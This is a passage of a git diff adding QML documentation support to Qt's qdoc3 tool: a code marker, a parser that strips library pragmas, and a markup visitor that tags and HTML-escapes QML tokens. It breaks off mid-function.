+#include "private/qdeclarativejslexer_p.h"
+#include "private/qdeclarativejsnodepool_p.h"
+#include "private/qdeclarativejsparser_p.h"
+
+#include "atom.h"
+#include "node.h"
+#include "qmlcodemarker.h"
+#include "qmlmarkupvisitor.h"
+#include "text.h"
+#include "tree.h"
+
+QT_BEGIN_NAMESPACE
+
+QmlCodeMarker::QmlCodeMarker()
+{
+}
+
+QmlCodeMarker::~QmlCodeMarker()
+{
+}
+
+/*!
+ Returns true if the \a code is recognized by the parser.
+ */
+bool QmlCodeMarker::recognizeCode(const QString &code)
+{
+ QDeclarativeJS::Engine engine;
+ QDeclarativeJS::Lexer lexer(&engine);
+ QDeclarativeJS::Parser parser(&engine);
+ QDeclarativeJS::NodePool m_nodePool("<QmlCodeMarker::recognizeCode>", &engine);
+
+ QString newCode = code;
+ extractPragmas(newCode);
+ lexer.setCode(newCode, 1);
+
+ return parser.parse();
+}
+
+/*!
+ Returns true if \a ext is any of a list of file extensions
+ for the QML language.
+ */
+bool QmlCodeMarker::recognizeExtension(const QString &ext)
+{
+ return ext == "qml";
+}
+
+/*!
+ Returns true if the \a language is recognized. Only "QML" is
+ recognized by this marker.
+ */
+bool QmlCodeMarker::recognizeLanguage(const QString &language)
+{
+ return language == "QML";
+}
+
+/*!
+ Returns the type of atom used to represent QML code in the documentation.
+*/
+Atom::Type QmlCodeMarker::atomType() const
+{
+ return Atom::Qml;
+}
+
+/*!
+ Returns the name of the \a node. Method names include are returned with a
+ trailing set of parentheses.
+ */
+QString QmlCodeMarker::plainName(const Node *node)
+{
+ QString name = node->name();
+ if (node->type() == Node::QmlMethod)
+ name += "()";
+ return name;
+}
+
+QString QmlCodeMarker::plainFullName(const Node *node, const Node *relative)
+{
+ if (node->name().isEmpty()) {
+ return "global";
+ }
+ else {
+ QString fullName;
+ while (node) {
+ fullName.prepend(plainName(node));
+ if (node->parent() == relative || node->parent()->name().isEmpty())
+ break;
+ fullName.prepend("::");
+ node = node->parent();
+ }
+ return fullName;
+ }
+}
+
+QString QmlCodeMarker::markedUpCode(const QString &code,
+ const Node *relative,
+ const Location &location)
+{
+ return addMarkUp(code, relative, location);
+}
+
+QString QmlCodeMarker::markedUpName(const Node *node)
+{
+ QString name = linkTag(node, taggedNode(node));
+ if (node->type() == Node::QmlMethod)
+ name += "()";
+ return name;
+}
+
+QString QmlCodeMarker::markedUpFullName(const Node *node, const Node *relative)
+{
+ if (node->name().isEmpty()) {
+ return "global";
+ }
+ else {
+ QString fullName;
+ for (;;) {
+ fullName.prepend(markedUpName(node));
+ if (node->parent() == relative || node->parent()->name().isEmpty())
+ break;
+ fullName.prepend("<@op>::</@op>");
+ node = node->parent();
+ }
+ return fullName;
+ }
+}
+
+QString QmlCodeMarker::markedUpIncludes(const QStringList& includes)
+{
+ QString code;
+
+ QStringList::ConstIterator inc = includes.begin();
+ while (inc != includes.end()) {
+ code += "import " + *inc + "\n";
+ ++inc;
+ }
+ Location location;
+ return addMarkUp(code, 0, location);
+}
+
+QString QmlCodeMarker::functionBeginRegExp(const QString& funcName)
+{
+ return "^" + QRegExp::escape("function " + funcName) + "$";
+
+}
+
+QString QmlCodeMarker::functionEndRegExp(const QString& /* funcName */)
+{
+ return "^\\}$";
+}
+
+QString QmlCodeMarker::addMarkUp(const QString &code,
+ const Node * /* relative */,
+ const Location &location)
+{
+ QDeclarativeJS::Engine engine;
+ QDeclarativeJS::Lexer lexer(&engine);
+
+ QString newCode = code;
+ QList<QDeclarativeJS::AST::SourceLocation> pragmas = extractPragmas(newCode);
+ lexer.setCode(newCode, 1);
+
+ QDeclarativeJS::Parser parser(&engine);
+ QDeclarativeJS::NodePool m_nodePool("<QmlCodeMarker::addMarkUp>", &engine);
+ QString output;
+
+ if (parser.parse()) {
+ QDeclarativeJS::AST::UiProgram *ast = parser.ast();
+ // Pass the unmodified code to the visitor so that pragmas and other
+ // unhandled source text can be output.
+ QmlMarkupVisitor visitor(code, pragmas, &engine);
+ QDeclarativeJS::AST::Node::accept(ast, &visitor);
+ output = visitor.markedUpCode();
+ } else {
+ location.warning(tr("Unable to parse QML: \"%1\" at line %2, column %3").arg(
+ parser.errorMessage()).arg(parser.errorLineNumber()).arg(
+ parser.errorColumnNumber()));
+ output = protect(code);
+ }
+
+ return output;
+}
+
+/*
+Copied and pasted from src/declarative/qml/qdeclarativescriptparser.cpp.
+*/
+static void replaceWithSpace(QString &str, int idx, int n)
+{
+ QChar *data = str.data() + idx;
+ const QChar space(QLatin1Char(' '));
+ for (int ii = 0; ii < n; ++ii)
+ *data++ = space;
+}
+
+/*
+Copied and pasted from src/declarative/qml/qdeclarativescriptparser.cpp then
+modified to return a list of removed pragmas.
+
+Searches for ".pragma <value>" declarations within \a script. Currently supported pragmas
+are:
+ library
+*/
+QList<QDeclarativeJS::AST::SourceLocation> QmlCodeMarker::extractPragmas(QString &script)
+{
+ const QString pragma(QLatin1String("pragma"));
+ const QString library(QLatin1String("library"));
+ QList<QDeclarativeJS::AST::SourceLocation> removed;
+
+ QDeclarativeJS::Lexer l(0);
+ l.setCode(script, 0);
+
+ int token = l.lex();
+
+ while (true) {
+ if (token != QDeclarativeJSGrammar::T_DOT)
+ return removed;
+
+ int startOffset = l.tokenOffset();
+ int startLine = l.currentLineNo();
+ int startColumn = l.currentColumnNo();
+
+ token = l.lex();
+
+ if (token != QDeclarativeJSGrammar::T_IDENTIFIER ||
+ l.currentLineNo() != startLine ||
+ script.mid(l.tokenOffset(), l.tokenLength()) != pragma)
+ return removed;
+
+ token = l.lex();
+
+ if (token != QDeclarativeJSGrammar::T_IDENTIFIER ||
+ l.currentLineNo() != startLine)
+ return removed;
+
+ QString pragmaValue = script.mid(l.tokenOffset(), l.tokenLength());
+ int endOffset = l.tokenLength() + l.tokenOffset();
+
+ token = l.lex();
+ if (l.currentLineNo() == startLine)
+ return removed;
+
+ if (pragmaValue == QLatin1String("library")) {
+ replaceWithSpace(script, startOffset, endOffset - startOffset);
+ removed.append(
+ QDeclarativeJS::AST::SourceLocation(
+ startOffset, endOffset - startOffset,
+ startLine, startColumn));
+ } else
+ return removed;
+ }
+ return removed;
+}
+
+QT_END_NAMESPACE
diff --git a/tools/qdoc3/qmlcodemarker.h b/tools/qdoc3/qmlcodemarker.h
new file mode 100644
index 0000000..d693456
--- /dev/null
+++ b/tools/qdoc3/qmlcodemarker.h
@@ -0,0 +1,86 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the tools applications of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** No Commercial Usage
+** This file contains pre-release code and may not be distributed.
+** You may use this file in accordance with the terms and conditions
+** contained in the Technology Preview License Agreement accompanying
+** this package.
+**
+** GNU Lesser General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU Lesser
+** General Public License version 2.1 as published by the Free Software
+** Foundation and appearing in the file LICENSE.LGPL included in the
+** packaging of this file. Please review the following information to
+** ensure the GNU Lesser General Public License version 2.1 requirements
+** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** If you have questions regarding the use of this file, please contact
+** Nokia at qt-info@nokia.com.
+**
+**
+**
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*
+ qmlcodemarker.h
+*/
+
+#ifndef QMLCODEMARKER_H
+#define QMLCODEMARKER_H
+
+#include "private/qdeclarativejsastfwd_p.h"
+#include "cppcodemarker.h"
+
+QT_BEGIN_NAMESPACE
+
+class QmlCodeMarker : public CppCodeMarker
+{
+public:
+ QmlCodeMarker();
+ ~QmlCodeMarker();
+
+ virtual bool recognizeCode(const QString &code);
+ virtual bool recognizeExtension(const QString &ext);
+ virtual bool recognizeLanguage(const QString &language);
+ virtual Atom::Type atomType() const;
+ virtual QString plainName(const Node *node);
+ virtual QString plainFullName(const Node *node, const Node *relative);
+ virtual QString markedUpCode(const QString &code,
+ const Node *relative,
+ const Location &location);
+
+ virtual QString markedUpName(const Node *node);
+ virtual QString markedUpFullName(const Node *node, const Node *relative);
+ virtual QString markedUpIncludes(const QStringList &includes);
+ virtual QString functionBeginRegExp(const QString &funcName);
+ virtual QString functionEndRegExp(const QString &funcName);
+
+ /* Copied from src/declarative/qml/qdeclarativescriptparser.cpp */
+ QList<QDeclarativeJS::AST::SourceLocation> extractPragmas(QString &script);
+
+private:
+ QString addMarkUp(const QString &code, const Node *relative,
+ const Location &location);
+};
+
+QT_END_NAMESPACE
+
+#endif
diff --git a/tools/qdoc3/qmlcodeparser.cpp b/tools/qdoc3/qmlcodeparser.cpp
new file mode 100644
index 0000000..9c1d4ee
--- /dev/null
+++ b/tools/qdoc3/qmlcodeparser.cpp
@@ -0,0 +1,235 @@
+/****************************************************************************
+**
+** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the tools applications of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** No Commercial Usage
+** This file contains pre-release code and may not be distributed.
+** You may use this file in accordance with the terms and conditions
+** contained in the Technology Preview License Agreement accompanying
+** this package.
+**
+** GNU Lesser General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU Lesser
+** General Public License version 2.1 as published by the Free Software
+** Foundation and appearing in the file LICENSE.LGPL included in the
+** packaging of this file. Please review the following information to
+** ensure the GNU Lesser General Public License version 2.1 requirements
+** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** If you have questions regarding the use of this file, please contact
+** Nokia at qt-info@nokia.com.
+**
+**
+**
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*
+ qmlcodeparser.cpp
+*/
+
+#include "private/qdeclarativejsast_p.h"
+#include "private/qdeclarativejsastvisitor_p.h"
+#include "private/qdeclarativejsnodepool_p.h"
+
+#include "qmlcodeparser.h"
+#include "node.h"
+#include "tree.h"
+#include "config.h"
+#include "qmlvisitor.h"
+
+QT_BEGIN_NAMESPACE
+
+#define COMMAND_STARTPAGE Doc::alias("startpage")
+#define COMMAND_VARIABLE Doc::alias("variable")
+
+#define COMMAND_QMLCLASS Doc::alias("qmlclass")
+#define COMMAND_QMLPROPERTY Doc::alias("qmlproperty")
+#define COMMAND_QMLATTACHEDPROPERTY Doc::alias("qmlattachedproperty")
+#define COMMAND_QMLINHERITS Doc::alias("inherits")
+#define COMMAND_QMLSIGNAL Doc::alias("qmlsignal")
+#define COMMAND_QMLATTACHEDSIGNAL Doc::alias("qmlattachedsignal")
+#define COMMAND_QMLMETHOD Doc::alias("qmlmethod")
+#define COMMAND_QMLATTACHEDMETHOD Doc::alias("qmlattachedmethod")
+#define COMMAND_QMLDEFAULT Doc::alias("default")
+#define COMMAND_QMLBASICTYPE Doc::alias("qmlbasictype")
+
+QmlCodeParser::QmlCodeParser()
+{
+}
+
+QmlCodeParser::~QmlCodeParser()
+{
+}
+
+/*!
+ Initialize the code parser base class.
+ */
+void QmlCodeParser::initializeParser(const Config &config)
+{
+ CodeParser::initializeParser(config);
+
+ lexer = new QDeclarativeJS::Lexer(&engine);
+ parser = new QDeclarativeJS::Parser(&engine);
+}
+
+void QmlCodeParser::terminateParser()
+{
+ delete lexer;
+ delete parser;
+}
+
+QString QmlCodeParser::language()
+{
+ return "QML";
+}
+
+QStringList QmlCodeParser::sourceFileNameFilter()
+{
+ return QStringList("*.qml");
+}
+
+void QmlCodeParser::parseSourceFile(const Location& location,
+ const QString& filePath,
+ Tree *tree)
+{
+ QFile in(filePath);
+ if (!in.open(QIODevice::ReadOnly)) {
+ location.error(tr("Cannot open QML file '%1'").arg(filePath));
+ return;
+ }
+
+ QString document = in.readAll();
+ in.close();
+
+ Location fileLocation(filePath);
+
+ QString newCode = document;
+ extractPragmas(newCode);
+ lexer->setCode(newCode, 1);
+
+ QSet<QString> topicCommandsAllowed = topicCommands();
+ QSet<QString> otherMetacommandsAllowed = otherMetaCommands();
+ QSet<QString> metacommandsAllowed = topicCommandsAllowed +
+ otherMetacommandsAllowed;
+
+ QDeclarativeJS::NodePool m_nodePool(filePath, &engine);
+
+ if (parser->parse()) {
+ QDeclarativeJS::AST::UiProgram *ast = parser->ast();
+ QmlDocVisitor visitor(filePath, newCode, &engine, tree, metacommandsAllowed);
+ QDeclarativeJS::AST::Node::accept(ast, &visitor);
+ }
+}
+
+void QmlCodeParser::doneParsingSourceFiles(Tree *tree)
+{
+}
+
+/*!
+ Returns the set of strings reopresenting the topic commands.
+ */
+QSet<QString> QmlCodeParser::topicCommands()
+{
+ return QSet<QString>() << COMMAND_VARIABLE
+ << COMMAND_QMLCLASS
+ << COMMAND_QMLPROPERTY
+ << COMMAND_QMLATTACHEDPROPERTY
+ << COMMAND_QMLSIGNAL
+ << COMMAND_QMLATTACHEDSIGNAL
+ << COMMAND_QMLMETHOD
+ << COMMAND_QMLATTACHEDMETHOD
+ << COMMAND_QMLBASICTYPE;
+}
+
+/*!
+ Returns the set of strings representing the common metacommands
+ plus some other metacommands.
+ */
+QSet<QString> QmlCodeParser::otherMetaCommands()
+{
+ return commonMetaCommands() << COMMAND_STARTPAGE
+ << COMMAND_QMLINHERITS
+ << COMMAND_QMLDEFAULT;
+}
+
+/*
+Copied and pasted from src/declarative/qml/qdeclarativescriptparser.cpp.
+*/
+static void replaceWithSpace(QString &str, int idx, int n)
+{
+ QChar *data = str.data() + idx;
+ const QChar space(QLatin1Char(' '));
+ for (int ii = 0; ii < n; ++ii)
+ *data++ = space;
+}
+
+/*
+Copied and pasted from src/declarative/qml/qdeclarativescriptparser.cpp then
+modified to return no values.
+
+Searches for ".pragma <value>" declarations within \a script. Currently supported pragmas
+are:
+ library
+*/
+void QmlCodeParser::extractPragmas(QString &script)
+{
+ const QString pragma(QLatin1String("pragma"));
+ const QString library(QLatin1String("library"));
+
+ QDeclarativeJS::Lexer l(0);
+ l.setCode(script, 0);
+
+ int token = l.lex();
+
+ while (true) {
+ if (token != QDeclarativeJSGrammar::T_DOT)
+ return;
+
+ int startOffset = l.tokenOffset();
+ int startLine = l.currentLineNo();
+
+ token = l.lex();
+
+ if (token != QDeclarativeJSGrammar::T_IDENTIFIER ||
+ l.currentLineNo() != startLine ||
+ script.mid(l.tokenOffset(), l.tokenLength()) != pragma)
+ return;
+
+ token = l.lex();
+
+ if (token != QDeclarativeJSGrammar::T_IDENTIFIER ||
+ l.currentLineNo() != startLine)
+ return;
+
+ QString pragmaValue = script.mid(l.tokenOffset(), l.tokenLength());
+ int endOffset = l.tokenLength() + l.tokenOffset();
+
+ token = l.lex();
+ if (l.currentLineNo() == startLine)
+ return;
+
+ if (pragmaValue == QLatin1String("library"))
+ replaceWithSpace(script, startOffset, endOffset - startOffset);
+ else
+ return;
+ }
+ return;
+}
+
+QT_END_NAMESPACE
diff --git a/tools/qdoc3/qmlcodeparser.h b/tools/qdoc3/qmlcodeparser.h
new file mode 100644
index 0000000..e5cc0dd
--- /dev/null
+++ b/tools/qdoc3/qmlcodeparser.h
@@ -0,0 +1,93 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the tools applications of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** No Commercial Usage
+** This file contains pre-release code and may not be distributed.
+** You may use this file in accordance with the terms and conditions
+** contained in the Technology Preview License Agreement accompanying
+** this package.
+**
+** GNU Lesser General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU Lesser
+** General Public License version 2.1 as published by the Free Software
+** Foundation and appearing in the file LICENSE.LGPL included in the
+** packaging of this file. Please review the following information to
+** ensure the GNU Lesser General Public License version 2.1 requirements
+** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** If you have questions regarding the use of this file, please contact
+** Nokia at qt-info@nokia.com.
+**
+**
+**
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*
+ qmlcodeparser.h
+*/
+
+#ifndef QMLCODEPARSER_H
+#define QMLCODEPARSER_H
+
+#include <QSet>
+#include "private/qdeclarativejsengine_p.h"
+#include "private/qdeclarativejslexer_p.h"
+#include "private/qdeclarativejsparser_p.h"
+
+#include "codeparser.h"
+#include "location.h"
+
+QT_BEGIN_NAMESPACE
+
+class Config;
+class Node;
+class QString;
+class Tree;
+
+class QmlCodeParser : public CodeParser
+{
+public:
+ QmlCodeParser();
+ virtual ~QmlCodeParser();
+
+ virtual void initializeParser(const Config& config);
+ virtual void terminateParser();
+ virtual QString language();
+ virtual QStringList sourceFileNameFilter();
+ virtual void parseSourceFile(const Location& location,
+ const QString& filePath, Tree *tree);
+ virtual void doneParsingSourceFiles(Tree *tree);
+
+ /* Copied from src/declarative/qml/qdeclarativescriptparser.cpp */
+ void extractPragmas(QString &script);
+
+protected:
+ virtual QSet<QString> topicCommands();
+ virtual QSet<QString> otherMetaCommands();
+
+private:
+ QDeclarativeJS::Engine engine;
+ QDeclarativeJS::Lexer *lexer;
+ QDeclarativeJS::Parser *parser;
+};
+
+QT_END_NAMESPACE
+
+#endif
diff --git a/tools/qdoc3/qmlmarkupvisitor.cpp b/tools/qdoc3/qmlmarkupvisitor.cpp
new file mode 100644
index 0000000..7acac48
--- /dev/null
+++ b/tools/qdoc3/qmlmarkupvisitor.cpp
@@ -0,0 +1,870 @@
+/****************************************************************************
+**
+** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the tools applications of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** No Commercial Usage
+** This file contains pre-release code and may not be distributed.
+** You may use this file in accordance with the terms and conditions
+** contained in the Technology Preview License Agreement accompanying
+** this package.
+**
+** GNU Lesser General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU Lesser
+** General Public License version 2.1 as published by the Free Software
+** Foundation and appearing in the file LICENSE.LGPL included in the
+** packaging of this file. Please review the following information to
+** ensure the GNU Lesser General Public License version 2.1 requirements
+** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** If you have questions regarding the use of this file, please contact
+** Nokia at qt-info@nokia.com.
+**
+**
+**
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <QStringList>
+#include <QtGlobal>
+#include "private/qdeclarativejsast_p.h"
+#include "private/qdeclarativejsastfwd_p.h"
+#include "private/qdeclarativejsengine_p.h"
+
+#include "qmlmarkupvisitor.h"
+
+QT_BEGIN_NAMESPACE
+
+QmlMarkupVisitor::QmlMarkupVisitor(const QString &source,
+ const QList<QDeclarativeJS::AST::SourceLocation> &pragmas,
+ QDeclarativeJS::Engine *engine)
+{
+ this->source = source;
+ this->engine = engine;
+
+ cursor = 0;
+ extraIndex = 0;
+
+ // Merge the lists of locations of pragmas and comments in the source code.
+ int i = 0;
+ int j = 0;
+ while (i < engine->comments().length() && j < pragmas.length()) {
+ if (engine->comments()[i].offset < pragmas[j].offset) {
+ extraTypes.append(Comment);
+ extraLocations.append(engine->comments()[i]);
+ ++i;
+ } else {
+ extraTypes.append(Pragma);
+ extraLocations.append(engine->comments()[j]);
+ ++j;
+ }
+ }
+
+ while (i < engine->comments().length()) {
+ extraTypes.append(Comment);
+ extraLocations.append(engine->comments()[i]);
+ ++i;
+ }
+
+ while (j < pragmas.length()) {
+ extraTypes.append(Pragma);
+ extraLocations.append(pragmas[j]);
+ ++j;
+ }
+}
+
+QmlMarkupVisitor::~QmlMarkupVisitor()
+{
+}
+
+// The protect() function is a copy of the one from CppCodeMarker.
+
+static const QString samp = QLatin1String("&amp;");
+static const QString slt = QLatin1String("&lt;");
+static const QString sgt = QLatin1String("&gt;");
+static const QString squot = QLatin1String("&quot;");
+
+QString QmlMarkupVisitor::protect(const QString& str)
+{
+ int n = str.length();
+ QString marked;
+ marked.reserve(n * 2 + 30);
+ const QChar *data = str.constData();
+ for (int i = 0; i != n; ++i) {
+ switch (data[i].unicode()) {
+ case '&': marked += samp; break;
+ case '<': marked += slt; break;
+ case '>': marked += sgt; break;
+ case '"': marked += squot; break;
+ default : marked += data[i];
+ }
+ }
+ return marked;
+}
+
+QString QmlMarkupVisitor::markedUpCode()
+{
+ if (int(cursor) < source.length())
+ addExtra(cursor, source.length());
+
+ return output;
+}
+
+void QmlMarkupVisitor::addExtra(quint32 start, quint32 finish)
+{
+ if (extraIndex >= extraLocations.length()) {
+ QString extra = source.mid(start, finish - start);
+ if (extra.trimmed().isEmpty())
+ output += extra;
+ else
+ output += protect(extra); // text that should probably have been caught by the parser
+
+ cursor = finish;
+ return;
+ }
+
+ while (extraIndex < extraLocations.length()) {
+ if (extraTypes[extraIndex] == Comment) {
+ if (extraLocations[extraIndex].offset - 2 >= start)
+ break;
+ } else {
+ if (extraLocations[extraIndex].offset >= start)
+ break;
+ }
+ extraIndex++;
+ }
+
+ quint32 i = start;
+ while (i < finish && extraIndex < extraLocations.length()) {
+ quint32 j = extraLocations[extraIndex].offset - 2;
+ if (i <= j && j < finish) {
+ if (i < j)
+ output += protect(source.mid(i, j - i));
+
+ quint32 l = extraLocations[extraIndex].length;
+ if (extraTypes[extraIndex] == Comment) {
+ if (source.mid(j, 2) == QLatin1String("/*"))
+ l += 4;
+ else
+ l += 2;
+ output += QLatin1String("<@comment>");
+ output += protect(source.mid(j, l));
+ output += QLatin1String("</@comment>");
+ } else
+ output += protect(source.mid(j, l));
+
+ extraIndex++;
+ i = j + l;
+ } else
+ break;
+ }
+
+ QString extra = source.mid(i, finish - i);
+ if (extra.trimmed().isEmpty())
+ output += extra;
+ else
+ output += protect(extra); // text that should probably have been caught by the parser
+
+ cursor = finish;
+}
+
+void QmlMarkupVisitor::addMarkedUpToken(
+ QDeclarativeJS::AST::SourceLocation &location, const QString &tagName,
+ const QHash<QString, QString> &attributes)
+{
+ if (!location.isValid())
+ return;
+
+ if (cursor < location.offset)
+ addExtra(cursor, location.offset);
+ else if (cursor > location.offset)
+ return;
+
+ output += QString(QLatin1String("<@%1")).arg(tagName);
+ foreach (const QString &key, attributes)
+ output += QString(QLatin1String(" %1=\"%2\"")).arg(key).arg(attributes[key]);
+ output += QString(QLatin1String(">%2</@%3>")).arg(protect(sourceText(location)), tagName);
+ cursor += location.length;
+}
+
+QString QmlMarkupVisitor::sourceText(QDeclarativeJS::AST::SourceLocation &location)
+{
+ return source.mid(location.offset, location.length);
+}
+
+void QmlMarkupVisitor::addVerbatim(QDeclarativeJS::AST::SourceLocation first,
+ QDeclarativeJS::AST::SourceLocation last)
+{
+ if (!first.isValid())
+ return;
+
+ quint32 start = first.begin();
+ quint32 finish;
+ if (last.isValid())
+ finish = last.end();
+ else
+ finish = first.end();
+
+ if (cursor < start)
+ addExtra(cursor, start);
+ else if (cursor > start)
+ return;
+
+ QString text = source.mid(start, finish - start);
+ output += protect(text);
+ cursor = finish;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiImport *uiimport)
+{
+ addVerbatim(uiimport->importToken);
+ if (!uiimport->importUri)
+ addMarkedUpToken(uiimport->fileNameToken, QLatin1String("headerfile"));
+ return false;
+}
+
+void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiImport *uiimport)
+{
+ addVerbatim(uiimport->versionToken);
+ addVerbatim(uiimport->asToken);
+ addMarkedUpToken(uiimport->importIdToken, QLatin1String("headerfile"));
+ addVerbatim(uiimport->semicolonToken);
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiPublicMember *member)
+{
+ if (member->type == QDeclarativeJS::AST::UiPublicMember::Property) {
+ addVerbatim(member->defaultToken);
+ addVerbatim(member->readonlyToken);
+ addVerbatim(member->propertyToken);
+ addVerbatim(member->typeModifierToken);
+ addMarkedUpToken(member->typeToken, QLatin1String("type"));
+ addMarkedUpToken(member->identifierToken, QLatin1String("name"));
+ addVerbatim(member->colonToken);
+ if (member->binding)
+ QDeclarativeJS::AST::Node::accept(member->binding, this);
+ else if (member->expression)
+ QDeclarativeJS::AST::Node::accept(member->expression, this);
+ } else {
+ addVerbatim(member->propertyToken);
+ addVerbatim(member->typeModifierToken);
+ addMarkedUpToken(member->typeToken, QLatin1String("type"));
+ //addVerbatim(member->identifierToken);
+ QDeclarativeJS::AST::Node::accept(member->parameters, this);
+ }
+ addVerbatim(member->semicolonToken);
+ return false;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiObjectInitializer *initializer)
+{
+ addVerbatim(initializer->lbraceToken, initializer->lbraceToken);
+ return true;
+}
+
+void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiObjectInitializer *initializer)
+{
+ addVerbatim(initializer->rbraceToken, initializer->rbraceToken);
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiObjectBinding *binding)
+{
+ QDeclarativeJS::AST::Node::accept(binding->qualifiedId, this);
+ addVerbatim(binding->colonToken);
+ QDeclarativeJS::AST::Node::accept(binding->qualifiedTypeNameId, this);
+ QDeclarativeJS::AST::Node::accept(binding->initializer, this);
+ return false;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiScriptBinding *binding)
+{
+ QDeclarativeJS::AST::Node::accept(binding->qualifiedId, this);
+ addVerbatim(binding->colonToken);
+ QDeclarativeJS::AST::Node::accept(binding->statement, this);
+ return false;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiArrayBinding *binding)
+{
+ QDeclarativeJS::AST::Node::accept(binding->qualifiedId, this);
+ addVerbatim(binding->colonToken);
+ addVerbatim(binding->lbracketToken);
+ QDeclarativeJS::AST::Node::accept(binding->members, this);
+ addVerbatim(binding->rbracketToken);
+ return false;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiArrayMemberList *list)
+{
+ for (QDeclarativeJS::AST::UiArrayMemberList *it = list; it; it = it->next) {
+ QDeclarativeJS::AST::Node::accept(it->member, this);
+ //addVerbatim(it->commaToken);
+ }
+ return false;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiQualifiedId *id)
+{
+ addMarkedUpToken(id->identifierToken, QLatin1String("name"));
+ return false;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiSignature *signature)
+{
+ addVerbatim(signature->lparenToken);
+ return true;
+}
+
+void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiSignature *signature)
+{
+ addVerbatim(signature->rparenToken);
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiFormal *formal)
+{
+ addMarkedUpToken(formal->identifierToken, QLatin1String("name"));
+ addVerbatim(formal->asToken);
+ addVerbatim(formal->aliasToken);
+ return false;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ThisExpression *expression)
+{
+ addVerbatim(expression->thisToken);
+ return true;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::IdentifierExpression *identifier)
+{
+ addMarkedUpToken(identifier->identifierToken, QLatin1String("name"));
+ return false;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::NullExpression *null)
+{
+ addMarkedUpToken(null->nullToken, QLatin1String("number"));
+ return true;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::TrueLiteral *literal)
+{
+ addMarkedUpToken(literal->trueToken, QLatin1String("number"));
+ return true;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::FalseLiteral *literal)
+{
+ addMarkedUpToken(literal->falseToken, QLatin1String("number"));
+ return true;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::NumericLiteral *literal)
+{
+ addMarkedUpToken(literal->literalToken, QLatin1String("number"));
+ return false;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::StringLiteral *literal)
+{
+ addMarkedUpToken(literal->literalToken, QLatin1String("string"));
+ return true;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::RegExpLiteral *literal)
+{
+ addVerbatim(literal->literalToken);
+ return true;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ArrayLiteral *literal)
+{
+ addVerbatim(literal->lbracketToken);
+ QDeclarativeJS::AST::Node::accept(literal->elements, this);
+ addVerbatim(literal->rbracketToken);
+ return false;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ObjectLiteral *literal)
+{
+ addVerbatim(literal->lbraceToken);
+ return true;
+}
+
+void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::ObjectLiteral *literal)
+{
+ addVerbatim(literal->rbraceToken);
+}
+
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ElementList *list)
+{
